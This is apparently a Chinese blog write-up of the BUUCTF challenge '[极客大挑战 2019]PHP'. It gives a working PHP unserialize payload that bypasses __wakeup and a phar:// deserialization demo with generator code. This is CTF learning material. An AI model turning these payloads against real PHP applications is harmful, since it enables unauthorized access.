php反序列化漏洞应用

前言

同样是buu,同样是极客大挑战,这次遇到了一题有关于php反序列化漏洞,遇到新东西总是要开博客记录的嘛。

[极客大挑战 2019]PHP

进入网页,我们发现一只猫在网页中心,我们鼠标控制着一团毛线,诶还挺好玩的。咳咳,进入正题,我们抓住题目给我们的提示——备份网站。一般备份网站的备份文件是在www.zip中,当然我们也可以用dirsearch来进行扫描,发现www.zip的状态为200:

接着我们打开备份文件,发现一个flag.php文件,但是显然我们能直接阅读到的并不是真正的flag。那么我们来阅读index.php代码:

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

我们注意到了这一行,变量select以GET方式输入,并进行反序列化,而且包含了文件class.php,那么我们打开class.php一探究竟:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}

这里代码创建了一个结构体Name,设置其中的username与password。那么我们发现,只要设置username=admin&password=100,那么再次执行_destruct就可以回显flag了。

但是这里有个问题,wakeup会导致username被赋值成guest,那么我们就需要改变序列化字符串中对象的个数来绕过,我们使用下面这个程序生成URL:

1
2
3
4
5
6
7
8
9
<?php
class Name
{
private $username = 'admin';
private $password = '100';
}
$a = new Name();
echo urlencode(serialize($a));
?>

使用URL编码保证不可打印字符复制时不会丢失(当然也可以不编码),编码与不编码的结果分别如下:

1
2
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

将Name后的2改为3(大一点也行),再输入进select中获取flag:

解毕

序列化与反序列化

序列化是将变量或对象转换成字符串的过程,而反序列化是将字符串转化为变量或对象的过程,序列化与反序列化主要是为了方便对象的传输。一般在php中常用的序列化与反序列化方式有:
serialize,unserialize;json_encode,json_decode
一般在ctf中前者的使用更多。

这里介绍php序列化和反序列化基本类型表达:

  • 布尔型:b:value => b:0
  • 整数型:i:value => i:1
  • 字符串型:s:length:value =>s:4 “aaaa”
  • 数组型:a::{key, value pairs} =>a:1:{i:1;s:1 “a”}
  • 对象型:O:
  • NULL型:N

下面这篇博客中详细剖析了PHP序列化与反序列化,想要详细学习可以参考,本篇博客不做详细的介绍。
深度剖析PHP序列化和反序列化

反序列化漏洞的利用(随时更新)

利用这个漏洞有两个条件:

  • unserialize()函数的参数是可控的
  • php中有可利用的类并且类中含有魔术方法
  • 魔术方法中存在任意代码执行的eval

然后再介绍一批魔术方法:

1
2
3
4
5
6
7
__construct():创建对象时初始化
__destruct():结束时销毁对象
__toString():对象被当作字符串时使用
__sleep():序列化对象之前调用
__wakeup():反序列化之前调用
__call():调用对象不存在时使用
__get():调用私有属性时使用

由此我们可以看出,当传给反序列化函数的参数可控时,我们可以传入一个序列化字符串从而控制对象内部的变量甚至函数。那么我们来详细介绍几个常见的反序列化漏洞的应用。

CVE-2016-7124(_wakeup()绕过)

当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行,也就是上面的例题中我们使用的绕过方法,这里不再赘述。

phar反序列化

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都被储存在phar文件内容描述着部分中。而这个部分还会以序列化形式存储用户自定义的meta-data,这是攻击的核心部分。

phar归档文件有三种格式:tar归档、zip归档和phar归档。phar格式的文件允许我们完全控制文件的起始部分,而最小的标志(stub)可以作为任意数据的前缀,也是phar文件中的第一项。因此我们可以伪造文件头来绕过对文件格式的检测,我们可以构造一个既是合法jpeg文件又是一个合法的phar文件。

要生成phar文件,我们首先要修改php.ini中phar.readonly的选项,删去前面的分号,并将On改为Off。接着我们生成phar文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Test{
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置Stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>

用010打开文件就会发现序列化对象已被存入了phar文件当中。

而phar的攻击面是很广泛的,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,以下函数都受到了影响:

那么这里我们就可以编写程序进行反序列化漏洞的攻击了:

1
2
3
4
5
6
7
8
9
<?php
class Test{
public function __destruct(){
echo "i'm ok";
}
}
$file = 'phar://phar.phar/test.txt';
file_get_contents($file);
?>

最后我们发现触发成功。

others wait to update

由于查阅了其他人写的博客发现这里面的水很深,因此在以后每碰到一种新的方式都会在这前面进行更新。

总结

刷buu发现还有很多的新知识等待掌握,刷题还是很有效果的。